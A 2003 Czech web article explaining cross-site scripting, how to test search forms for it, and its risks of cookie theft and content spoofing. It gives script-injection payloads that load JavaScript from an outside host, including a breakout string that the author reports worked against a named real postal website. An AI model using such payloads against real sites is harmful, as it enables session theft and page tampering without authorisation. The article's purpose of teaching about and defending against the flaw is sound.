BRADBURY media POOH.cz JustIT.cz E-knihy IT/C tiskové zprávy Tipy a triky Turistický průvodce Menhiry Bradbury.cz Slovník Test připojení World of Warcraft LOTRO


Pravidelný občasník originálního humoru

CROSS SITE SCRIPTING (XSS) - průvodce (nejenom) hackera

Autor chlívek (Bezpečnost) - vydáno 12.1.2003

aneb nechtějí-li tvůrci webů vyhovět základním bezpečnostním požadavkům a chránit vaše soukromí, musíte se o sebe starat sami. Článek poradí, jak otestovat, zda WWW není náchylné na Cross Site Scripting.


Když se v tisku objevují informace o webech napravujících Cross Site Scripting problémy či postižených Cross Site Scripting, je to znamení nedobré práce programátora webové aplikace. A bez ohledu na všeobecné podceňování problému, jde o problém závažný. Je potřeba si totiž uvědomit (a test v SECURITY.POOH.CZ), že Cross Site Scripting je nejjednodušší cestou k získávání cookies, stejně tak jako falšování původu obsahu.

CROSS SITE SCRIPTING ZÁKLADY a TEST

XSS problém je velmi jednoduchý - spočívá ve "vsunutí" <SCRIPT> "příkazu" do kódu vráceného webem - nejčastěji tedy vložíte odpovídající <SCRIPT> konstrukci do okénka pro vyhledávání.  Neuškodí to osvětlit podrobněji a umožnit vám testy XSS.

Do vyhledávacího okénka (ale také možná do některého z parametrů webového odkazu) vložíte <SCRIPT> vedoucí ke spuštění JavaScript kódu - pokud budete úspěšní, tento skript se spustí v okamžiku zobrazování "výsledků" vyhledávání - a protože "běží" v kontextu "cizí" webové stránky, má přístup například ke cookies, které platí jen pro tuto "cizí" stránku. Pochopitelně má přístup i ke stránce samotné.

V případě potřeby testovat můžete zkusit do vyhledávacího formuláře vložit

<script src="http://www.pooh.cz/security/css-test.js">
případně
<script src="http://www.pooh.cz/security/css-test.js"></script>

Tento odkaz můžete tedy používat pokud se rozhodnete testovat své vlastní stránky na náchylnost na XSS chybu (pokud se rozhodnete testovat cizí, nemůžeme vám v tom pochopitelně zabránit, ale činíte tak na vlastní zodpovědnost a byli jste právě varováni).

Pokud budete úspěšní, zjistíte to velmi rychle. Zobrazí se vám totiž  žlutá testovací stránka s výsledkem. Pokud ale úspěšní nebudete, zobrazí se vám očekávaná výsledná stránka.

Na ní velmi často můžete zjistit, že se vložený skript sice nevykonal, ale přesto se zjevně "začlenil" do schránky. Často je totiž nutné mírně modifikovat vkládaný kód, tak aby odpovídal struktuře výsledné stránky - například doplnit "falešné" ukončení formulářového prvku (například něco jako </textarea>. Testování XSS proto vyžaduje znalosti HTML a trochu bádání.

Praktický příklad - stránky České Pošty, www.cpost.cz, sekce vyhledávání PSČ. Postačí vložit:
"><script src="http://www.pooh.cz/security/css-test.js"></script>
(12.ledna 2002, 17:49 otestováno na vlastní oči)

Mimo Cookies ovšem XSS hrozí i jinak. Nesmíte totiž opomenout skutečnost, že JavaScript, který pomocí <SCRIPT> vyvoláte, má přístup k původní stránce, tj. té, kterou původní webová aplikace vytvořila. Může tak snadno s toutou stránkou manipulovat. Nahradit například text článků zcela jiným textem, pozměnit kurzovní lístek či pohyby a hodnoty akcií. Pro nic netušícího internetového uživatele pak budou zveřejněné informace vypadat velmi věrohodně.

CROSS SITE SCRIPTING PRO POKROČILÉ

Využití (nebo spíše zneužití) formulářových vstupů pro XSS je jedním z nejjednodušších způsobů. Stačí Ctrl+C a Ctrl+V a můžete zkoušet a zkoušet a zkoušet.

Na XSS jsou ale pochopitelně náchylné všechny způsoby přijetí informace určené pro následné zobrazení - v problémech potom budou i "vstupy" s pomocí parametrů URL a horkým kandidátem na problémy budou i informace ukládané do databáze a později zobrazované.

Patříte-li tedy mezi tvůrce WWW, čeká vás nelehký úkol. Prověřit všechna místa, kde přicházejí informace zvenčí (a pro obzvlášť pokročilé dodáme, například i pocházející z REFERER informace) a jakkoliv zpracovávané pro zobrazení či uložení do databáze.

Cross Site Scripting metoda je známa již několik let a je důkladně popsána například v CERT dokumentaci. Objevuje se poměrně často a může v některých případech vést i k velkým problémům, ve většině případů ale spíše k možnému popletení nic netušících návštěvníků webu.

Microsoft Knowledge Base obsahuje článek Q252985 věnující se XSS a je více než vhodné jej také prostudovat.

David de Vitry na adrese http://www.devitry.com/security.html nabízí spoustu užitečných informací, tester a také řadu odkazy na články na US webech informujících o nejkřiklavějších XSS problémech.

 



|
Poslední změna : 22.11.2003 14:35, Vytvořen : neuvedeno, Vydán : 12.1.2003, 34048x

Komentáře pro ty z Facebooku

Aktuální články autora